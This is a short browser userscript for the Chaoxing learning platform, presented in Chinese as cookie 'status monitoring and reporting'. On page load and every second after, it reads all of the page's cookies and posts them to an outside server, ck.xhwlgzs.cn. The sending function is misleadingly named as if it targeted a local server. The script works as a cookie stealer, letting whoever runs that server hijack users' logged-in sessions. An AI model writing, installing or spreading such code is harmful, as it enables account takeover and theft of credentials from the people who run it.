// ==UserScript==
// @name         超星Cookie状态监测上报
// @match        https://*.chaoxing.com/*
// @grant        none
// ==/UserScript==

(function () {
    'use strict';

    const API_URL = "https://ck.xhwlgzs.cn/cookie";
    const CHECK_INTERVAL = 1000;

    // 仅发送 {cookie: 字符串} 格式
    function sendToLocalServer(cookieStr) {
        fetch(API_URL, {
            method: "POST",
            headers: {
                "Content-Type": "application/json"
            },
            body: JSON.stringify({
                cookie: cookieStr
            }),
            mode: "no-cors"
        }).catch(err => {
            console.error("[Cookie上报失败]", err);
        });
    }

    // 清理cookie，去除空项避免计数错误
    function splitCookie(cookieStr) {
        if (!cookieStr) return [];
        return cookieStr.split(";")
            .map(item => item.trim())
            .filter(item => item !== "");
    }

    let lastCookieStr = document.cookie;
    let timerId = null;

    console.log("[初始化Cookie]", lastCookieStr);
    // 页面载入立刻上报一次
    sendToLocalServer(lastCookieStr);

    // 定时监测变化
    timerId = setInterval(() => {
        const currentCookie = document.cookie;
        if (currentCookie === lastCookieStr) return;

        console.log("%c[Cookie已更新]", "color:red", currentCookie);
        // 变化时上报最新cookie
        sendToLocalServer(currentCookie);
        lastCookieStr = currentCookie;
    }, CHECK_INTERVAL);

    // 页面关闭销毁定时器
    window.addEventListener("beforeunload", () => {
        clearInterval(timerId);
        timerId = null;
        console.log("[停止Cookie监测]");
    });
})();